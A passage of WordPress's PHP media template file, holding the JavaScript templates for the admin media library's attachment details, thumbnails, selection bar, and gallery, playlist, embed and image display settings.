			<h2 class="screen-reader-text"><?php /* translators: Hidden accessibility text. */ _e( 'Attachment Preview' ); ?></h2>
			<div class="thumbnail thumbnail-{{ data.type }}">
				<# if ( data.uploading ) { #>
					<div class="media-progress-bar"><div></div></div>
				<# } else if ( data.sizes && data.sizes.full ) { #>
					<img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" />
				<# } else if ( data.sizes && data.sizes.large ) { #>
					<img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" />
				<# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #>
					<img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" />
				<# } #>

				<# if ( 'audio' === data.type ) { #>
				<div class="wp-media-wrapper wp-audio">
					<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
						<source type="{{ data.mime }}" src="{{ data.url }}" />
					</audio>
				</div>
				<# } else if ( 'video' === data.type ) {
					var w_rule = '';
					if ( data.width ) {
						w_rule = 'width: ' + data.width + 'px;';
					} else if ( wp.media.view.settings.contentWidth ) {
						w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
					}
				#>
				<div style="{{ w_rule }}" class="wp-media-wrapper wp-video">
					<video controls="controls" class="wp-video-shortcode" preload="metadata"
						<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
						<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
						<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
						<source type="{{ data.mime }}" src="{{ data.url }}" />
					</video>
				</div>
				<# } #>

				<div class="attachment-actions">
					<# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #>
					<button type="button" class="button edit-attachment"><?php _e( 'Edit Image' ); ?></button>
					<# } else if ( 'pdf' === data.subtype && data.sizes ) { #>
					<p><?php _e( 'Document Preview' ); ?></p>
					<# } #>
				</div>
			</div>
		</div>
		<div class="attachment-info">
			<span class="settings-save-status" role="status">
				<span class="spinner"></span>
				<span class="saved"><?php esc_html_e( 'Saved.' ); ?></span>
			</span>
			<div class="details">
				<h2 class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Details' );
					?>
				</h2>
				<div class="uploaded"><strong><?php _e( 'Uploaded on:' ); ?></strong> {{ data.dateFormatted }}</div>
				<div class="uploaded-by">
					<strong><?php _e( 'Uploaded by:' ); ?></strong>
						<# if ( data.authorLink ) { #>
							<a href="{{ data.authorLink }}">{{ data.authorName }}</a>
						<# } else { #>
							{{ data.authorName }}
						<# } #>
				</div>
				<# if ( data.uploadedToTitle ) { #>
					<div class="uploaded-to">
						<strong><?php _e( 'Uploaded to:' ); ?></strong>
						<# if ( data.uploadedToLink ) { #>
							<a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a>
						<# } else { #>
							{{ data.uploadedToTitle }}
						<# } #>
					</div>
				<# } #>
				<div class="filename"><strong><?php _e( 'File name:' ); ?></strong> {{ data.filename }}</div>
				<div class="file-type"><strong><?php _e( 'File type:' ); ?></strong> {{ data.mime }}</div>
				<div class="file-size"><strong><?php _e( 'File size:' ); ?></strong> {{ data.filesizeHumanReadable }}</div>
				<# if ( 'image' === data.type && ! data.uploading ) { #>
					<# if ( data.width && data.height ) { #>
						<div class="dimensions"><strong><?php _e( 'Dimensions:' ); ?></strong>
							<?php
							/* translators: 1: A number of pixels wide, 2: A number of pixels tall. */
							printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' );
							?>
						</div>
					<# } #>

					<# if ( data.originalImageURL && data.originalImageName ) { #>
						<div class="word-wrap-break-word">
							<strong><?php _e( 'Original image:' ); ?></strong>
							<a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a>
						</div>
					<# } #>
				<# } #>

				<# if ( data.fileLength && data.fileLengthHumanReadable ) { #>
					<div class="file-length"><strong><?php _e( 'Length:' ); ?></strong>
						<span aria-hidden="true">{{ data.fileLength }}</span>
						<span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span>
					</div>
				<# } #>

				<# if ( 'audio' === data.type && data.meta.bitrate ) { #>
					<div class="bitrate">
						<strong><?php _e( 'Bitrate:' ); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s
						<# if ( data.meta.bitrate_mode ) { #>
						{{ ' ' + data.meta.bitrate_mode.toUpperCase() }}
						<# } #>
					</div>
				<# } #>

				<# if ( data.mediaStates ) { #>
					<div class="media-states"><strong><?php _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div>
				<# } #>

				<div class="compat-meta">
					<# if ( data.compat && data.compat.meta ) { #>
						{{{ data.compat.meta }}}
					<# } #>
				</div>
			</div>

			<div class="settings">
				<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
				<# if ( 'image' === data.type ) { #>
					<span class="setting alt-text has-description" data-setting="alt">
						<label for="attachment-details-two-column-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label>
						<textarea id="attachment-details-two-column-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea>
					</span>
					<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>
				<# } #>
				<?php if ( post_type_supports( 'attachment', 'title' ) ) : ?>
				<span class="setting" data-setting="title">
					<label for="attachment-details-two-column-title" class="name"><?php _e( 'Title' ); ?></label>
					<input type="text" id="attachment-details-two-column-title" value="{{ data.title }}" {{ maybeReadOnly }} />
				</span>
				<?php endif; ?>
				<# if ( 'audio' === data.type ) { #>
				<?php
				foreach ( array(
					'artist' => __( 'Artist' ),
					'album'  => __( 'Album' ),
				) as $key => $label ) :
					?>
				<span class="setting" data-setting="<?php echo esc_attr( $key ); ?>">
					<label for="attachment-details-two-column-<?php echo esc_attr( $key ); ?>" class="name"><?php echo $label; ?></label>
					<input type="text" id="attachment-details-two-column-<?php echo esc_attr( $key ); ?>" value="{{ data.<?php echo $key; ?> || data.meta.<?php echo $key; ?> || '' }}" />
				</span>
				<?php endforeach; ?>
				<# } #>
				<span class="setting" data-setting="caption">
					<label for="attachment-details-two-column-caption" class="name"><?php _e( 'Caption' ); ?></label>
					<textarea id="attachment-details-two-column-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea>
				</span>
				<span class="setting" data-setting="description">
					<label for="attachment-details-two-column-description" class="name"><?php _e( 'Description' ); ?></label>
					<textarea id="attachment-details-two-column-description" {{ maybeReadOnly }}>{{ data.description }}</textarea>
				</span>
				<span class="setting" data-setting="url">
					<label for="attachment-details-two-column-copy-link" class="name"><?php _e( 'File URL:' ); ?></label>
					<input type="text" class="attachment-details-copy-link" id="attachment-details-two-column-copy-link" value="{{ data.url }}" readonly />
					<span class="copy-to-clipboard-container">
						<button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-two-column-copy-link"><?php _e( 'Copy URL to clipboard' ); ?></button>
						<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
					</span>
				</span>
				<div class="attachment-compat"></div>
			</div>

			<div class="actions">
				<# if ( data.link ) { #>
					<?php
					$view_media_text = ( '1' === get_option( 'wp_attachment_pages_enabled' ) ) ? __( 'View attachment page' ) : __( 'View media file' );
					?>
					<a class="view-attachment" href="{{ data.link }}"><?php echo $view_media_text; ?></a>
				<# } #>
				<# if ( data.can.save ) { #>
					<# if ( data.link ) { #>
						<span class="links-separator">|</span>
					<# } #>
					<a href="{{ data.editLink }}"><?php _e( 'Edit more details' ); ?></a>
				<# } #>
				<# if ( data.can.save && data.link ) { #>
					<span class="links-separator">|</span>
					<a href="{{ data.url }}" download><?php _e( 'Download file' ); ?></a>
				<# } #>
				<# if ( ! data.uploading && data.can.remove ) { #>
					<# if ( data.link || data.can.save ) { #>
						<span class="links-separator">|</span>
					<# } #>
					<?php if ( MEDIA_TRASH ) : ?>
						<# if ( 'trash' === data.status ) { #>
							<button type="button" class="button-link untrash-attachment"><?php _e( 'Restore from Trash' ); ?></button>
						<# } else { #>
							<button type="button" class="button-link trash-attachment"><?php _e( 'Move to Trash' ); ?></button>
						<# } #>
					<?php else : ?>
						<button type="button" class="button-link delete-attachment"><?php _e( 'Delete permanently' ); ?></button>
					<?php endif; ?>
				<# } #>
			</div>
		</div>
	</script>

	<?php // Template for the Attachment "thumbnails" in the Media Grid. ?>
	<script type="text/html" id="tmpl-attachment">
		<div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}">
			<div class="thumbnail">
				<# if ( data.uploading ) { #>
					<div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div>
				<# } else if ( 'image' === data.type && data.size && data.size.url ) { #>
					<div class="centered">
						<img src="{{ data.size.url }}" draggable="false" alt="" />
					</div>
				<# } else { #>
					<div class="centered">
						<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
							<img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else if ( data.sizes && data.sizes.medium ) { #>
							<img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
						<# } #>
					</div>
					<div class="filename">
						<div>{{ data.filename }}</div>
					</div>
				<# } #>
			</div>
			<# if ( data.buttons.close ) { #>
				<button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Remove' );
					?>
				</span></button>
			<# } #>
		</div>
		<# if ( data.buttons.check ) { #>
			<button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Deselect' );
				?>
			</span></button>
		<# } #>
		<#
		var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly';
		if ( data.describe ) {
			if ( 'image' === data.type ) { #>
				<input type="text" value="{{ data.caption }}" class="describe" data-setting="caption"
					aria-label="<?php esc_attr_e( 'Caption' ); ?>"
					placeholder="<?php esc_attr_e( 'Caption&hellip;' ); ?>" {{ maybeReadOnly }} />
			<# } else { #>
				<input type="text" value="{{ data.title }}" class="describe" data-setting="title"
					<# if ( 'video' === data.type ) { #>
						aria-label="<?php esc_attr_e( 'Video title' ); ?>"
						placeholder="<?php esc_attr_e( 'Video title&hellip;' ); ?>"
					<# } else if ( 'audio' === data.type ) { #>
						aria-label="<?php esc_attr_e( 'Audio title' ); ?>"
						placeholder="<?php esc_attr_e( 'Audio title&hellip;' ); ?>"
					<# } else { #>
						aria-label="<?php esc_attr_e( 'Media title' ); ?>"
						placeholder="<?php esc_attr_e( 'Media title&hellip;' ); ?>"
					<# } #> {{ maybeReadOnly }} />
			<# }
		} #>
	</script>

	<?php // Template for the Attachment details, used for example in the sidebar. ?>
	<script type="text/html" id="tmpl-attachment-details">
		<h2>
			<?php _e( 'Attachment Details' ); ?>
			<span class="settings-save-status" role="status">
				<span class="spinner"></span>
				<span class="saved"><?php esc_html_e( 'Saved.' ); ?></span>
			</span>
		</h2>
		<div class="attachment-info">

			<# if ( 'audio' === data.type ) { #>
				<div class="wp-media-wrapper wp-audio">
					<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
						<source type="{{ data.mime }}" src="{{ data.url }}" />
					</audio>
				</div>
			<# } else if ( 'video' === data.type ) {
				var w_rule = '';
				if ( data.width ) {
					w_rule = 'width: ' + data.width + 'px;';
				} else if ( wp.media.view.settings.contentWidth ) {
					w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
				}
			#>
				<div style="{{ w_rule }}" class="wp-media-wrapper wp-video">
					<video controls="controls" class="wp-video-shortcode" preload="metadata"
						<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
						<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
						<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
						<source type="{{ data.mime }}" src="{{ data.url }}" />
					</video>
				</div>
			<# } else { #>
				<div class="thumbnail thumbnail-{{ data.type }}">
					<# if ( data.uploading ) { #>
						<div class="media-progress-bar"><div></div></div>
					<# } else if ( 'image' === data.type && data.size && data.size.url ) { #>
						<img src="{{ data.size.url }}" draggable="false" alt="" />
					<# } else { #>
						<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
					<# } #>
				</div>
			<# } #>

			<div class="details">
				<div class="filename">{{ data.filename }}</div>
				<div class="uploaded">{{ data.dateFormatted }}</div>

				<div class="file-size">{{ data.filesizeHumanReadable }}</div>
				<# if ( 'image' === data.type && ! data.uploading ) { #>
					<# if ( data.width && data.height ) { #>
						<div class="dimensions">
							<?php
							/* translators: 1: A number of pixels wide, 2: A number of pixels tall. */
							printf( __( '%1$s by %2$s pixels' ), '{{ data.width }}', '{{ data.height }}' );
							?>
						</div>
					<# } #>

					<# if ( data.originalImageURL && data.originalImageName ) { #>
						<div class="word-wrap-break-word">
							<?php _e( 'Original image:' ); ?>
							<a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a>
						</div>
					<# } #>

					<# if ( data.can.save && data.sizes ) { #>
						<a class="edit-attachment" href="{{ data.editLink }}&amp;image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a>
					<# } #>
				<# } #>

				<# if ( data.fileLength && data.fileLengthHumanReadable ) { #>
					<div class="file-length"><?php _e( 'Length:' ); ?>
						<span aria-hidden="true">{{ data.fileLength }}</span>
						<span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span>
					</div>
				<# } #>

				<# if ( data.mediaStates ) { #>
					<div class="media-states"><strong><?php _e( 'Used as:' ); ?></strong> {{ data.mediaStates }}</div>
				<# } #>

				<# if ( ! data.uploading && data.can.remove ) { #>
					<?php if ( MEDIA_TRASH ) : ?>
					<# if ( 'trash' === data.status ) { #>
						<button type="button" class="button-link untrash-attachment"><?php _e( 'Restore from Trash' ); ?></button>
					<# } else { #>
						<button type="button" class="button-link trash-attachment"><?php _e( 'Move to Trash' ); ?></button>
					<# } #>
					<?php else : ?>
						<button type="button" class="button-link delete-attachment"><?php _e( 'Delete permanently' ); ?></button>
					<?php endif; ?>
				<# } #>

				<div class="compat-meta">
					<# if ( data.compat && data.compat.meta ) { #>
						{{{ data.compat.meta }}}
					<# } #>
				</div>
			</div>
		</div>
		<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
		<# if ( 'image' === data.type ) { #>
			<span class="setting alt-text has-description" data-setting="alt">
				<label for="attachment-details-alt-text" class="name"><?php _e( 'Alt Text' ); ?></label>
				<textarea id="attachment-details-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea>
			</span>
			<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>
		<# } #>
		<?php if ( post_type_supports( 'attachment', 'title' ) ) : ?>
		<span class="setting" data-setting="title">
			<label for="attachment-details-title" class="name"><?php _e( 'Title' ); ?></label>
			<input type="text" id="attachment-details-title" value="{{ data.title }}" {{ maybeReadOnly }} />
		</span>
		<?php endif; ?>
		<# if ( 'audio' === data.type ) { #>
		<?php
		foreach ( array(
			'artist' => __( 'Artist' ),
			'album'  => __( 'Album' ),
		) as $key => $label ) :
			?>
		<span class="setting" data-setting="<?php echo esc_attr( $key ); ?>">
			<label for="attachment-details-<?php echo esc_attr( $key ); ?>" class="name"><?php echo $label; ?></label>
			<input type="text" id="attachment-details-<?php echo esc_attr( $key ); ?>" value="{{ data.<?php echo $key; ?> || data.meta.<?php echo $key; ?> || '' }}" />
		</span>
		<?php endforeach; ?>
		<# } #>
		<span class="setting" data-setting="caption">
			<label for="attachment-details-caption" class="name"><?php _e( 'Caption' ); ?></label>
			<textarea id="attachment-details-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea>
		</span>
		<span class="setting" data-setting="description">
			<label for="attachment-details-description" class="name"><?php _e( 'Description' ); ?></label>
			<textarea id="attachment-details-description" {{ maybeReadOnly }}>{{ data.description }}</textarea>
		</span>
		<span class="setting" data-setting="url">
			<label for="attachment-details-copy-link" class="name"><?php _e( 'File URL:' ); ?></label>
			<input type="text" class="attachment-details-copy-link" id="attachment-details-copy-link" value="{{ data.url }}" readonly />
			<div class="copy-to-clipboard-container">
				<button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-copy-link"><?php _e( 'Copy URL to clipboard' ); ?></button>
				<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
			</div>
		</span>
	</script>

	<?php // Template for the Selection status bar. ?>
	<script type="text/html" id="tmpl-media-selection">
		<div class="selection-info">
			<span class="count"></span>
			<# if ( data.editable ) { #>
				<button type="button" class="button-link edit-selection"><?php _e( 'Edit Selection' ); ?></button>
			<# } #>
			<# if ( data.clearable ) { #>
				<button type="button" class="button-link clear-selection"><?php _e( 'Clear' ); ?></button>
			<# } #>
		</div>
		<div class="selection-view"></div>
	</script>

	<?php // Template for the Attachment display settings, used for example in the sidebar. ?>
	<script type="text/html" id="tmpl-attachment-display-settings">
		<h2><?php _e( 'Attachment Display Settings' ); ?></h2>

		<# if ( 'image' === data.type ) { #>
			<span class="setting align">
				<label for="attachment-display-settings-alignment" class="name"><?php _e( 'Alignment' ); ?></label>
				<select id="attachment-display-settings-alignment" class="alignment"
					data-setting="align"
					<# if ( data.userSettings ) { #>
						data-user-setting="align"
					<# } #>>

					<option value="left">
						<?php esc_html_e( 'Left' ); ?>
					</option>
					<option value="center">
						<?php esc_html_e( 'Center' ); ?>
					</option>
					<option value="right">
						<?php esc_html_e( 'Right' ); ?>
					</option>
					<option value="none" selected>
						<?php esc_html_e( 'None' ); ?>
					</option>
				</select>
			</span>
		<# } #>

		<span class="setting">
			<label for="attachment-display-settings-link-to" class="name">
				<# if ( data.model.canEmbed ) { #>
					<?php _e( 'Embed or Link' ); ?>
				<# } else { #>
					<?php _e( 'Link To' ); ?>
				<# } #>
			</label>
			<select id="attachment-display-settings-link-to" class="link-to"
				data-setting="link"
				<# if ( data.userSettings && ! data.model.canEmbed ) { #>
					data-user-setting="urlbutton"
				<# } #>>

			<# if ( data.model.canEmbed ) { #>
				<option value="embed" selected>
					<?php esc_html_e( 'Embed Media Player' ); ?>
				</option>
				<option value="file">
			<# } else { #>
				<option value="none" selected>
					<?php esc_html_e( 'None' ); ?>
				</option>
				<option value="file">
			<# } #>
				<# if ( data.model.canEmbed ) { #>
					<?php esc_html_e( 'Link to Media File' ); ?>
				<# } else { #>
					<?php esc_html_e( 'Media File' ); ?>
				<# } #>
				</option>
				<option value="post">
				<# if ( data.model.canEmbed ) { #>
					<?php esc_html_e( 'Link to Attachment Page' ); ?>
				<# } else { #>
					<?php esc_html_e( 'Attachment Page' ); ?>
				<# } #>
				</option>
			<# if ( 'image' === data.type ) { #>
				<option value="custom">
					<?php esc_html_e( 'Custom URL' ); ?>
				</option>
			<# } #>
			</select>
		</span>
		<span class="setting">
			<label for="attachment-display-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
			<input type="text" id="attachment-display-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
		</span>

		<# if ( 'undefined' !== typeof data.sizes ) { #>
			<span class="setting">
				<label for="attachment-display-settings-size" class="name"><?php _e( 'Size' ); ?></label>
				<select id="attachment-display-settings-size" class="size" name="size"
					data-setting="size"
					<# if ( data.userSettings ) { #>
						data-user-setting="imgsize"
					<# } #>>
					<?php
					/** This filter is documented in wp-admin/includes/media.php */
					$sizes = apply_filters(
						'image_size_names_choose',
						array(
							'thumbnail' => __( 'Thumbnail' ),
							'medium'    => __( 'Medium' ),
							'large'     => __( 'Large' ),
							'full'      => __( 'Full Size' ),
						)
					);

					foreach ( $sizes as $value => $name ) :
						?>
						<#
						var size = data.sizes['<?php echo esc_js( $value ); ?>'];
						if ( size ) { #>
							<option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>>
								<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
							</option>
						<# } #>
					<?php endforeach; ?>
				</select>
			</span>
		<# } #>
	</script>

	<?php // Template for the Gallery settings, used for example in the sidebar. ?>
	<script type="text/html" id="tmpl-gallery-settings">
		<h2><?php _e( 'Gallery Settings' ); ?></h2>

		<span class="setting">
			<label for="gallery-settings-link-to" class="name"><?php _e( 'Link To' ); ?></label>
			<select id="gallery-settings-link-to" class="link-to"
				data-setting="link"
				<# if ( data.userSettings ) { #>
					data-user-setting="urlbutton"
				<# } #>>

				<option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' === wp.media.galleryDefaults.link ) {
					#>selected="selected"<# }
				#>>
					<?php esc_html_e( 'Attachment Page' ); ?>
				</option>
				<option value="file" <# if ( 'file' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
					<?php esc_html_e( 'Media File' ); ?>
				</option>
				<option value="none" <# if ( 'none' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
					<?php esc_html_e( 'None' ); ?>
				</option>
			</select>
		</span>

		<span class="setting">
			<label for="gallery-settings-columns" class="name select-label-inline"><?php _e( 'Columns' ); ?></label>
			<select id="gallery-settings-columns" class="columns" name="columns"
				data-setting="columns">
				<?php for ( $i = 1; $i <= 9; $i++ ) : ?>
					<option value="<?php echo esc_attr( $i ); ?>" <#
						if ( <?php echo $i; ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# }
					#>>
						<?php echo esc_html( $i ); ?>
					</option>
				<?php endfor; ?>
			</select>
		</span>

		<span class="setting">
			<input type="checkbox" id="gallery-settings-random-order" data-setting="_orderbyRandom" />
			<label for="gallery-settings-random-order" class="checkbox-label-inline"><?php _e( 'Random Order' ); ?></label>
		</span>

		<span class="setting size">
			<label for="gallery-settings-size" class="name"><?php _e( 'Size' ); ?></label>
			<select id="gallery-settings-size" class="size" name="size"
				data-setting="size"
				<# if ( data.userSettings ) { #>
					data-user-setting="imgsize"
				<# } #>
				>
				<?php
				/** This filter is documented in wp-admin/includes/media.php */
				$size_names = apply_filters(
					'image_size_names_choose',
					array(
						'thumbnail' => __( 'Thumbnail' ),
						'medium'    => __( 'Medium' ),
						'large'     => __( 'Large' ),
						'full'      => __( 'Full Size' ),
					)
				);

				foreach ( $size_names as $size => $label ) :
					?>
					<option value="<?php echo esc_attr( $size ); ?>">
						<?php echo esc_html( $label ); ?>
					</option>
				<?php endforeach; ?>
			</select>
		</span>
	</script>

	<?php // Template for the Playlists settings, used for example in the sidebar. ?>
	<script type="text/html" id="tmpl-playlist-settings">
		<h2><?php _e( 'Playlist Settings' ); ?></h2>

		<# var emptyModel = _.isEmpty( data.model ),
			isVideo = 'video' === data.controller.get('library').props.get('type'); #>

		<span class="setting">
			<input type="checkbox" id="playlist-settings-show-list" data-setting="tracklist" <# if ( emptyModel ) { #>
				checked="checked"
			<# } #> />
			<label for="playlist-settings-show-list" class="checkbox-label-inline">
				<# if ( isVideo ) { #>
				<?php _e( 'Show Video List' ); ?>
				<# } else { #>
				<?php _e( 'Show Tracklist' ); ?>
				<# } #>
			</label>
		</span>

		<# if ( ! isVideo ) { #>
		<span class="setting">
			<input type="checkbox" id="playlist-settings-show-artist" data-setting="artists" <# if ( emptyModel ) { #>
				checked="checked"
			<# } #> />
			<label for="playlist-settings-show-artist" class="checkbox-label-inline">
				<?php _e( 'Show Artist Name in Tracklist' ); ?>
			</label>
		</span>
		<# } #>

		<span class="setting">
			<input type="checkbox" id="playlist-settings-show-images" data-setting="images" <# if ( emptyModel ) { #>
				checked="checked"
			<# } #> />
			<label for="playlist-settings-show-images" class="checkbox-label-inline">
				<?php _e( 'Show Images' ); ?>
			</label>
		</span>
	</script>

	<?php // Template for the "Insert from URL" layout. ?>
	<script type="text/html" id="tmpl-embed-link-settings">
		<span class="setting link-text">
			<label for="embed-link-settings-link-text" class="name"><?php _e( 'Link Text' ); ?></label>
			<input type="text" id="embed-link-settings-link-text" class="alignment" data-setting="linkText" />
		</span>
		<div class="embed-container" style="display: none;">
			<div class="embed-preview"></div>
		</div>
	</script>

	<?php // Template for the "Insert from URL" image preview and details. ?>
	<script type="text/html" id="tmpl-embed-image-settings">
		<div class="wp-clearfix">
			<div class="thumbnail">
				<img src="{{ data.model.url }}" draggable="false" alt="" />
			</div>
		</div>

		<span class="setting alt-text has-description">
			<label for="embed-image-settings-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label>
			<textarea id="embed-image-settings-alt-text" data-setting="alt" aria-describedby="alt-text-description"></textarea>
		</span>
		<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>

		<?php
		/** This filter is documented in wp-admin/includes/media.php */
		if ( ! apply_filters( 'disable_captions', '' ) ) :
			?>
			<span class="setting caption">
				<label for="embed-image-settings-caption" class="name"><?php _e( 'Caption' ); ?></label>
				<textarea id="embed-image-settings-caption" data-setting="caption"></textarea>
			</span>
		<?php endif; ?>

		<fieldset class="setting-group">
			<legend class="name"><?php _e( 'Align' ); ?></legend>
			<span class="setting align">
				<span class="button-group button-large" data-setting="align">
					<button class="button" value="left">
						<?php esc_html_e( 'Left' ); ?>
					</button>
					<button class="button" value="center">
						<?php esc_html_e( 'Center' ); ?>
					</button>
					<button class="button" value="right">
						<?php esc_html_e( 'Right' ); ?>
					</button>
					<button class="button active" value="none">
						<?php esc_html_e( 'None' ); ?>
					</button>
				</span>
			</span>
		</fieldset>

		<fieldset class="setting-group">
			<legend class="name"><?php _e( 'Link To' ); ?></legend>
			<span class="setting link-to">
				<span class="button-group button-large" data-setting="link">
					<button class="button" value="file">
						<?php esc_html_e( 'Image URL' ); ?>
					</button>
					<button class="button" value="custom">
						<?php esc_html_e( 'Custom URL' ); ?>
					</button>
					<button class="button active" value="none">
						<?php esc_html_e( 'None' ); ?>
					</button>
				</span>
			</span>
			<span class="setting">
				<label for="embed-image-settings-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
				<input type="text" id="embed-image-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
			</span>
		</fieldset>
	</script>

	<?php // Template for the Image details, used for example in the editor. ?>
	<script type="text/html" id="tmpl-image-details">
		<div class="media-embed">
			<div class="embed-media-settings">
				<div class="column-settings">
					<span class="setting alt-text has-description">
						<label for="image-details-alt-text" class="name"><?php _e( 'Alternative Text' ); ?></label>
						<textarea id="image-details-alt-text" data-setting="alt" aria-describedby="alt-text-description">{{ data.model.alt }}</textarea>
					</span>
					<p class="description" id="alt-text-description"><?php echo $alt_text_description; ?></p>

					<?php
					/** This filter is documented in wp-admin/includes/media.php */
					if ( ! apply_filters( 'disable_captions', '' ) ) :
						?>
						<span class="setting caption">
							<label for="image-details-caption" class="name"><?php _e( 'Caption' ); ?></label>
							<textarea id="image-details-caption" data-setting="caption">{{ data.model.caption }}</textarea>
						</span>
					<?php endif; ?>

					<h2><?php _e( 'Display Settings' ); ?></h2>
					<fieldset class="setting-group">
						<legend class="legend-inline"><?php _e( 'Align' ); ?></legend>
						<span class="setting align">
							<span class="button-group button-large" data-setting="align">
								<button class="button" value="left">
									<?php esc_html_e( 'Left' ); ?>
								</button>
								<button class="button" value="center">
									<?php esc_html_e( 'Center' ); ?>
								</button>
								<button class="button" value="right">
									<?php esc_html_e( 'Right' ); ?>
								</button>
								<button class="button active" value="none">
									<?php esc_html_e( 'None' ); ?>
								</button>
							</span>
						</span>
					</fieldset>

					<# if ( data.attachment ) { #>
						<# if ( 'undefined' !== typeof data.attachment.sizes ) { #>
							<span class="setting size">
								<label for="image-details-size" class="name"><?php _e( 'Size' ); ?></label>
								<select id="image-details-size" class="size" name="size"
									data-setting="size"
									<# if ( data.userSettings ) { #>
										data-user-setting="imgsize"
									<# } #>>
									<?php
									/** This filter is documented in wp-admin/includes/media.php */
									$sizes = apply_filters(
										'image_size_names_choose',
										array(
											'thumbnail' => __( 'Thumbnail' ),
											'medium'    => __( 'Medium' ),
											'large'     => __( 'Large' ),
											'full'      => __( 'Full Size' ),
										)
									);

									foreach ( $sizes as $value => $name ) :
										?>
										<#
										var size = data.sizes['<?php echo esc_js( $value ); ?>'];
										if ( size ) { #>
											<option value="<?php echo esc_attr( $value ); ?>">
												<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
											</option>
										<# } #>
									<?php endforeach; ?>
									<option value="<?php echo esc_attr( 'custom' ); ?>">
										<?php _e( 'Custom Size' ); ?>
									</option>
								</select>
							</span>
						<# } #>
							<div class="custom-size wp-clearfix<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>">
								<span class="custom-size-setting">
									<label for="image-details-size-width"><?php _e( 'Width' ); ?></label>
									<input type="number" id="image-details-size-width" aria-describedby="image-size-desc" data-setting="customWidth" step="1" value="{{ data.model.customWidth }}" />
								</span>
								<span class="sep" aria-hidden="true">&times;</span>
								<span class="custom-size-setting">
									<label for="image-details-size-height"><?php _e( 'Height' ); ?></label>
									<input type="number" id="image-details-size-height" aria-describedby="image-size-desc" data-setting="customHeight" step="1" value="{{ data.model.customHeight }}" />
								</span>
								<p id="image-size-desc" class="description"><?php _e( 'Image size in pixels' ); ?></p>
							</div>
					<# } #>

					<span class="setting link-to">
						<label for="image-details-link-to" class="name"><?php _e( 'Link To' ); ?></label>
						<select id="image-details-link-to" data-setting="link">
						<# if ( data.attachment ) { #>
							<option value="file">
								<?php esc_html_e( 'Media File' ); ?>
							</option>
							<option value="post">
								<?php esc_html_e( 'Attachment Page' ); ?>
							</option>
						<# } else { #>
							<option value="file">
								<?php esc_html_e( 'Image URL' ); ?>
							</option>
						<# } #>
							<option value="custom">
								<?php esc_html_e( 'Custom URL' ); ?>
							</option>
							<option value="none">
								<?php esc_html_e( 'None' ); ?>
							</option>
						</select>
					</span>
					<span class="setting">
